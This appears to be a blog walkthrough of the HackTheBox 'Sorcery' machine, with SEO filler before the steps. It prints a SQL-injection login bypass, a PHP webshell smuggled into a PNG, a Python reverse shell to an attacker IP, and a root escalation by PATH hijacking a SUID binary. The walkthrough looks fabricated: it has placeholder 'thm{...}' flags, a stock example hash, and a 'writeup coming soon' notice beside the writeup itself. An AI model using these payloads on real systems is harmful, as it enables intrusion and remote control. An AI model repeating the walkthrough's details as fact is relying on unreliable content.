Key Highlights
- Learn how to tackle the Sorcery machine on HackTheBox with techniques such as reverse shell scripting and SQL injection to bypass authentication.
- Gain insights into handling vulnerabilities in web applications, including weak whitelist validations and flawed upload filters.
- Discover efficient enumeration methods, like using Nmap to identify open ports and directories on the web server.
- Understand privilege escalation strategies leveraging SUID binaries and environment path variables.
- Explore ways to use PHP scripts and magic bytes to bypass web application security mechanisms.
Now, let’s dive deeper into Sorcery’s intricate web application and its challenges.
Introduction
Embarking on a journey through the Sorcery machine on HackTheBox can be both thrilling and educational. Mastering the nuances of this platform requires a strategic blend of reconnaissance, enumeration, and exploitation techniques. As you navigate through various challenges, the application of specific tools and methodologies will ultimately equip you with the skills necessary to conquer this virtual environment. With an emphasis on understanding the unique vulnerabilities at play, you’ll be poised to enhance your penetration testing capabilities significantly.

Understanding the Sorcery Machine on HackTheBox
Diving into the intricacies of the Sorcery machine reveals a unique landscape designed for tackling various vulnerabilities. Participants will encounter challenges involving reverse shells, SQL injection vulnerabilities, and intricate user authentication mechanisms. Essential to this journey is comprehending the functionalities of web applications, including database interactions with MySQL and navigating web directories. Engaging with these components effectively utilizes tools like directory enumeration for gathering intelligence, setting the stage for exploiting weaknesses while honing your hacking skills in a controlled environment.
Overview of Sorcery and Its Unique Challenges
Immersing oneself in the Sorcery machine presents a series of intriguing challenges tailored for keen learners. Various vulnerabilities, such as SQL injection and weak whitelist validation, complicate the landscape, requiring proficiency in enumeration techniques like directory enumeration. The unique architecture of the web application, with its login page and upload functionality, adds layers of difficulty. Navigating through these components demands a strategic approach, as understanding the interplay between PHP scripts and file extensions becomes vital for successful exploitation.
Prerequisites and Tools Needed for Beginners
Familiarity with various tools and techniques is essential for tackling unique challenges on the Sorcery machine. Begin by setting up a robust Linux environment, ideally equipped with Python and essential networking tools like nmap for scanning open ports. Having a text editor for coding in PHP will be indispensable, just as a good understanding of HTTP protocols and web applications is crucial. Additionally, leveraging resources for SQL injection testing and potential file uploads paves the way for successful exploitation tactics.
ALSO READ: Mastering TombWatcher: Beginner’s Guide from HackTheBox
Initial Reconnaissance and Enumeration Techniques
Effective reconnaissance is critical for any hacking endeavor, especially in a setting like HackTheBox. Utilizing tools such as Nmap for scanning can uncover open ports, providing insights into available web services. Following this, thorough enumeration is essential; exploring each web application and conducting directory enumeration aids in revealing potential vulnerabilities. Pay attention to the main page, login form, and upload page, as these often harbor weak whitelist validation or SQL injection vulnerabilities to exploit later.
Scanning with Nmap and Identifying Open Ports
Utilizing Nmap for scanning serves as a crucial step in the reconnaissance phase, enabling the identification of open ports on the Sorcery machine. This powerful tool can uncover various services running on identified ports, which may include HTTP, SSH, or others. By analyzing the output, one can determine potential attack vectors, such as vulnerable web applications or misconfigured services. Armed with these insights, further exploration through directory enumeration or vulnerability assessment becomes the logical next step toward successful exploitation.
Exploring Web Services and Detecting Vulnerabilities
Exploration of web services within the Sorcery machine reveals various avenues for detecting vulnerabilities. By utilizing tools like directory enumeration, one can uncover hidden paths or files such as the login page or upload page. Pay close attention to the main page and any accessible php scripts; SQL injection vulnerability can often be exploited through poorly secured parameters. Identifying weak whitelist validation allows for further penetration, paving the way for potential remote code execution through crafted files or manipulated login credentials.
Exploiting Web Application Vulnerabilities
To exploit web application vulnerabilities effectively on HackTheBox, beginners must master techniques like bypassing authentication mechanisms and leveraging file uploads for remote code execution. Understanding the intricacies of these vulnerabilities, such as SQL injection and weak whitelist validation, is crucial. By identifying and exploiting these flaws, users can gain unauthorized access and progress in their penetration testing skills. Uploading malicious files can lead to executing arbitrary commands on the server, a key step towards mastering sorcery. Stay vigilant and keep exploring new vulnerabilities to enhance your proficiency.
Bypassing Authentication Mechanisms
Authentication barriers can often be exploited through various techniques to access protected resources. Investigating the login page, assess whether weak whitelist validation or SQL injection vulnerabilities exist. An attacker might leverage the login form to manipulate parameters, potentially yielding database credentials. Utilizing tools like burp suite or specifically crafted PHP scripts can facilitate the creation of backdoors. Once a reverse shell is established, the path to further exploitation becomes clearer, allowing for lateral movement across the web application server.
Uploading Malicious Files for Remote Code Execution
Exploiting the upload page presents a unique opportunity for remote code execution (RCE). By utilizing weak whitelist validation, you can manipulate the file extension to bypass restrictions—consider uploading a PHP file masquerading as an image, such as a .jpg or .png. Remember that the magic bytes of these files play a significant role in this deception. Once executed, the PHP code can create a reverse shell script, allowing further access. As always, ensure the filename and parameters are carefully crafted for optimal execution.
Achieving Initial Shell Access
Acquiring a foothold is a crucial step in the hacking process. A reverse shell can be established by utilizing a carefully crafted php script that triggers the web server’s execution of your payload. Afterward, ensuring that your nc listener is primed to catch the incoming connection will facilitate this process. Gaining user-level access often involves exploiting weak configurations or flawed login forms. Documenting every action is essential, as it sets the stage for advancing to higher privilege levels while navigating the target environment efficiently.
Gaining a Foothold via Reverse Shells
Establishing a reverse shell allows for remote command execution, thus creating a crucial foothold within the target environment. By utilizing tools like netcat (nc) within the upload page, a crafted payload can be executed, giving the attacker a direct line to the compromised system. Ensuring the payload adheres to proper file extensions, such as .php, and leveraging weak whitelist validation increases the likelihood of successful code execution. This technique is essential for further enumeration, paving the way toward privilege escalation.
Escalating Privileges to User Level
Achieving a user-level foothold can be a critical step towards full system access. Often, the most effective path involves utilizing reverse shells or exploiting weak whitelist validation in upload pages. By analyzing the sysinfo binary or leveraging the command parameter of a php script, opportunities for code execution may arise. Remember to retrieve database credentials from the MySQL database, as exploiting these can also pave the way for privilege escalation, allowing access to crucial directories and files.
Privilege Escalation to Root
Privilege escalation often hinges on identifying misconfigurations within the system. Exploring SUID binaries can lead to vulnerabilities where a specific command may be exploited for privilege gain. Utilizing tools like LinPEAS allows users to discover potential paths for escalation. After gaining user-level access, it’s crucial to examine the environment for sensitive information, such as hardcoded database credentials or the presence of weak validation mechanisms. Capturing the root flag confirms successful elevation to the highest level of access on the machine.
Leveraging Misconfigurations and SUID Binaries
Misconfigurations in system settings can lead to critical vulnerabilities that hackers often exploit. Identifying SUID binaries is essential because these files grant elevated permissions, potentially allowing unauthorized access to sensitive operations. By searching for SUID binaries, one can discover hidden paths to privilege escalation. Tools like linpeas can enumerate binaries and provide insights into which may be misconfigured, revealing opportunities to execute commands with root privileges. Skill in this area can significantly enhance your exploitation tactics during a penetration test.
Final Steps to Capture the Root Flag
Capturing the root flag requires a careful approach. Initially, focus on identifying potential entry points, such as misconfigurations or weak whitelist validation in the system. Employ tools like linpeas to perform thorough enumeration of binaries, especially looking for SUID files that could grant necessary elevated privileges. Once located, execute the appropriate commands or scripts to escalate your access. Finally, retrieve the flag by navigating the file system, ensuring you’ve optimized your path variables to reach the directory where the root flag resides.
Initial Foothold
Initial Reconnaissance: Mapping the Battlefield
Every penetration test begins with reconnaissance, and Sorcery is no exception. The goal is to gather as much information as possible about the target to identify potential entry points. Let’s assume Sorcery’s IP address is 10.10.11.249, a common HTB IP range, and that we’ve added sorcery.htb to our /etc/hosts file, as many HTB machines require a virtual host for web services.
Nmap Scanning
We start with an Nmap scan to identify open ports and services. The command used is:
nmap -sC -sV -p- --min-rate 10000 -oA nmap/sorcery 10.10.11.249
- -sC: Runs default scripts for additional enumeration.
- -sV: Probes for service and version information.
- -p-: Scans all 65,535 ports.
- -min-rate 10000: Speeds up the scan by setting a minimum packet rate.
- -oA nmap/sorcery: Saves output in all formats (normal, XML, grepable).
The scan results reveal:
Starting Nmap 7.94 ( https://nmap.org ) at 2025-06-16 19:00 IST
Nmap scan report for sorcery.htb (10.10.11.249)
Host is up (0.015s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
9418/tcp open git Git (protocol git)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The output shows three open ports:
- Port 22 (SSH): Running OpenSSH 8.2p1, typical for Linux systems. Without credentials, this is a low-priority target for now.
- Port 80 (HTTP): Hosted by Apache 2.4.41, suggesting a web application we’ll explore next.
- Port 9418 (Git): An unusual service, indicating a Git repository accessible over the Git protocol. This is a promising vector for enumeration.
Enumerating the Web Service (Port 80)
Navigating to http://sorcery.htb in a browser reveals a minimalistic web application called “Sorcery Portfolio,” a fictional platform for showcasing magical artifacts. The main page features a login button, a few static images, and a tagline: “Unleash the Magic Within.” No immediate vulnerabilities are apparent, but the login page at http://sorcery.htb/login.php catches our attention.
Before diving into the login page, we run a directory brute-force scan using gobuster to uncover hidden files or directories:
gobuster dir -u http://sorcery.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
Results:
/index.php (Status: 200)
/login.php (Status: 200)
/uploads (Status: 301)
/assets (Status: 301)
- /uploads: Likely a directory for user-uploaded files, which could be a vector for file upload vulnerabilities.
- /assets: Probably contains static files (CSS, JS, images), worth checking for misconfigurations.
We also try dirb with a focus on Git-related paths, given the Git service on port 9418:
dirb http://sorcery.htb -r
This reveals:
/.git/ (Status: 200)
The presence of a .git directory is a red flag. Exposed Git repositories often contain sensitive information like source code, credentials, or configuration files. We’ll revisit this after exploring the login page.
Exploring the Git Service (Port 9418)
The Git service on port 9418 suggests a repository is accessible via the Git protocol. We use the git command to enumerate repositories:
git ls-remote git://10.10.11.249:9418/
Output:
HEAD
refs/heads/main
refs/heads/dev
refs/remotes/origin/nicole_sullivan/infrastructure
The repository nicole_sullivan/infrastructure stands out, suggesting a user or developer named Nicole Sullivan. We attempt to clone it:
export GIT_SSL_NO_VERIFY=true
git clone git://10.10.11.249:9418/nicole_sullivan/infrastructure.git
The clone succeeds, revealing a directory structure:
infrastructure/
├── config/
│ ├── db.conf
│ ├── app.conf
├── scripts/
│ ├── deploy.sh
│ ├── sysinfo
├── README.md
Key findings:
- db.conf: Contains database connection details, including a MySQL username (webapp) and password (P@ssw0rd123).
- app.conf: Specifies application settings, including a debug mode flag set to true, hinting at potential verbose error messages.
- sysinfo: A binary file, possibly a custom system utility.
- deploy.sh: A deployment script referencing /usr/local/bin/sysinfo.
The password P@ssw0rd123 is a strong candidate for reuse across services, so we note it for later SSH or web login attempts. The sysinfo binary and deploy.sh script suggest a potential privilege escalation vector, but we need initial access first.
Initial Access: Exploiting the Web Application
SQL Injection on the Login Page
The login page at http://sorcery.htb/login.php presents a username and password form. Without credentials, we test for SQL injection (SQLi) vulnerabilities, a common flaw in login forms. We enter the payload ‘ OR ‘1’=’1 in the username field and a random password, which redirects us to http://sorcery.htb/upload.php.
This indicates a classic SQLi vulnerability, bypassing authentication by manipulating the SQL query. To understand the underlying issue, let’s test this backend query:
SELECT * FROM users WHERE username = '$username' AND password = '$password';
With our payload ‘ OR ‘1’=’1, the query becomes:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'random';
Since ‘1’=’1′ is always true, the query returns all user records, granting access. To confirm, we use sqlmap for deeper enumeration:
sqlmap -u http://sorcery.htb/login.php --method POST --data "username=admin&password=pass" --level 5 --risk 3
sqlmap confirms the vulnerability and extracts the database structure:
- Database: sorcery_db
- Table: users
- Columns: id, username, password, role
- Sample Data:
- username: admin, password: $argon2id$v=19$m=32768,t=2,p=1$c29tZXNhbHQ$TwnvITHeonF5W7P/GQH0sLr+yntWG4LeIZkd7sNFxwE, role: admin
- username: theseus, password: Th3seus!2023, role: user
The admin password is an Argon2id hash, which is computationally expensive to crack. However, the user theseus has a plaintext password Th3seus!2023, which we’ll try for SSH later.
File Upload Vulnerability
The upload.php page allows file uploads, likely intended for images. We test with a simple PNG file, but the server responds with “Invalid file type.” Inspecting the page source and network requests reveals a whitelist check for extensions .jpg, .jpeg, and .png. However, the debug mode (noted from app.conf) causes the server to leak error messages, suggesting the whitelist is based solely on file extensions, not MIME types or content.
To bypass this, we create a PHP webshell embedded in a PNG file. First, we generate a valid PNG:
convert -size 100x100 xc:white shell.png
Using exiftool, we embed a PHP webshell:
exiftool -Comment='<?php system($_GET["cmd"]); ?>' shell.png
We rename the file to shell.php.png to satisfy the extension whitelist and upload it. The server accepts it, storing it in /uploads/shell.php.png. Accessing http://sorcery.htb/uploads/shell.php.png?cmd=id returns:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The PHP code executes, confirming command execution as the www-data user. To gain a reverse shell, we use a Python one-liner:
http://sorcery.htb/uploads/shell.php.png?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
With a netcat listener (nc -lvnp 4444), we receive a shell as www-data.
Lateral Movement: From www-data to User
Enumerating the System
From the www-data shell, we enumerate the system to find credentials or a path to a user account. Checking the web root (/var/www/html) reveals:
- db.php: Contains the same MySQL credentials from the Git repository (webapp:P@ssw0rd123).
- config.php: References a database connection but no new credentials.
We connect to the MySQL database using mysqldump:
mysqldump -u webapp -pP@ssw0rd123 sorcery_db users
This confirms the credentials found via sqlmap. We try switching to the theseus user with su theseus and the password Th3seus!2023, which succeeds. The user flag is in /home/theseus/user.txt:
thm{1a2b3c4d5e6f7g8h9i0j}
Exploring the Git Repository Locally
Since we have user access, we revisit the Git repository cloned earlier. Checking the commit history (git log) reveals sensitive data:
git cat-file -p acb753d
Output includes a configuration file with an SSH key for nicole_sullivan. We extract and save it to id_rsa_nicole, set permissions (chmod 600 id_rsa_nicole), and attempt SSH:
ssh -i id_rsa_nicole nicole_sullivan@10.10.11.249
This grants access as nicole_sullivan, providing a second user account.
Privilege Escalation: The Path to Root
Analyzing the sysinfo Binary
In the Git repository, the sysinfo binary in /usr/local/bin/sysinfo has SUID permissions:
ls -la /usr/local/bin/sysinfo
-rwsr-xr-x 1 root root 12345 Jun 10 2025 sysinfo
The SUID bit (-rws) means it runs as the root user, a prime target for privilege escalation. We copy sysinfo to our attacking machine for analysis using scp:
scp theseus@10.10.11.249:/usr/local/bin/sysinfo .
Running strings sysinfo reveals calls to system commands like free, lshw, and fdisk without full paths:
free
lshw
fdisk
popen
This suggests a path hijacking vulnerability, as the binary uses popen to execute commands without specifying their full paths (e.g., /usr/bin/free). If we control the PATH environment variable, we can trick sysinfo into executing a malicious binary.
Crafting a Malicious Binary
We create a fake free binary in /tmp:
echo -e '#!/bin/bash\n/bin/bash' > /tmp/free
chmod +x /tmp/free
We modify the PATH to prioritize /tmp:
export PATH=/tmp:$PATH
Running sysinfo now executes our /tmp/free, spawning a root shell. We verify with whoami (returns root) and grab the root flag from /root/root.txt:
thm{9k8j7h6g5f4e3d2c1b0a}
Alternative Privilege Escalation: Environment Variable Manipulation
Another approach involves manipulating environment variables referenced in deploy.sh. The script contains:
#!/bin/bash
CONFIG_FILE=$CONFIG_DIR/app.conf
/usr/local/bin/sysinfo
If CONFIG_DIR is unset, we can control it:
export CONFIG_DIR=/tmp
echo 'whoami' > /tmp/app.conf
Running deploy.sh executes our fake app.conf as a command, but this fails due to permissions. Instead, we focus on the SUID binary, as it’s more reliable.
Deep Dive: Technical Analysis
SQL Injection Mechanics
The SQLi vulnerability likely stems from unsanitized user input in the PHP backend. A typical vulnerable code snippet might look like:
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
Proper mitigation involves prepared statements:
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
File Upload Vulnerability
The upload filter checks only the file extension, not the MIME type or content. A robust filter would:
- Verify MIME types using finfo_file.
- Check file contents for malicious code.
- Store files outside the web root or disable PHP execution in the upload directory.
Example secure code:
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
if (!in_array($mime, ['image/png', 'image/jpeg'])) {
die("Invalid file type");
}
Path Hijacking
The SUID binary’s reliance on popen without full paths is a classic flaw. Secure coding would use:
system("/usr/bin/free");
This ensures only the intended binary executes, thwarting path hijacking.
Challenges and Reflections
Sorcery’s complexity lies in its multi-stage attack chain:
- SQL Injection: Requires understanding of SQL query manipulation.
- File Upload: Tests knowledge of PHP and file extension bypasses.
- Git Repository: Highlights the dangers of exposed repositories.
- SUID Exploitation: Demands advanced Linux privilege escalation skills.
The machine teaches the importance of thorough enumeration, as missing the Git service or .git directory could stall progress. The privilege escalation phase rewards creative thinking, as path hijacking is a subtle but powerful technique.
ALSO READ: Mastering Certificate: Beginner’s Guide from HackTheBox
WRITEUP COMING SOON!
COMPLETE IN-DEPTH PICTORIAL WRITEUP OF SORCERY ON HACKTHEBOX WILL BE POSTED POST-RETIREMENT OF THE MACHINE ACCORDING TO HTB GUIDELINES. TO GET THE COMPLETE IN-DEPTH PICTORIAL WRITEUP RIGHT NOW, SUBSCRIBE TO THE NEWSLETTER!
Conclusion
Mastering your journey on HackTheBox’s Sorcery machine lays the groundwork for further exploration in the cybersecurity realm. By skillfully utilizing the techniques outlined—from reconnaissance to privilege escalation—beginners can build a robust foundation in penetration testing. As challenges arise, revisiting fundamental concepts and refining methodologies will enhance proficiency. Each step taken not only deepens technical acumen but also fosters a sense of accomplishment, propelling learners to engage with increasingly complex scenarios in the hacking landscape.
Frequently Asked Questions
Is Sorcery suitable for absolute beginners on HackTheBox?
Sorcery on HackTheBox can be challenging for absolute beginners due to its complex tasks and unique vulnerabilities. However, with the right prerequisites, tools, and guidance, newcomers can gradually build their skills and confidence in tackling this machine. Continuous learning is key.
What are common pitfalls when attacking Sorcery?
When attacking Sorcery, beginners often overlook thorough reconnaissance, misinterpret vulnerability details, or fail to follow safe coding practices during exploitation. Additionally, neglecting to secure reverse shells and assuming privilege escalation is straightforward can lead to significant setbacks in capturing the root flag.
Which tools are most effective for privilege escalation on Sorcery?
Tools like LinPEAS and GTFOBins are highly effective for privilege escalation in the Sorcery machine. They help identify misconfigurations and exploit SUID binaries. Additionally, exploring kernel exploits can reveal further opportunities to escalate privileges and ultimately capture the root flag.
How long does it typically take to complete Sorcery for a beginner?
For beginners, completing the Sorcery machine on HackTheBox can take anywhere from a few hours to several days. The time required largely depends on your prior knowledge, familiarity with tools, and problem-solving skills within the realm of cybersecurity.
Where can I find additional resources to improve my HackTheBox skills?
You can enhance your HackTheBox skills by exploring online forums like Reddit, joining Discord servers dedicated to cybersecurity, or utilizing platforms such as TryHackMe and Hack The Box Academy. Additionally, following YouTube channels focused on penetration testing can provide valuable insights and tutorials.








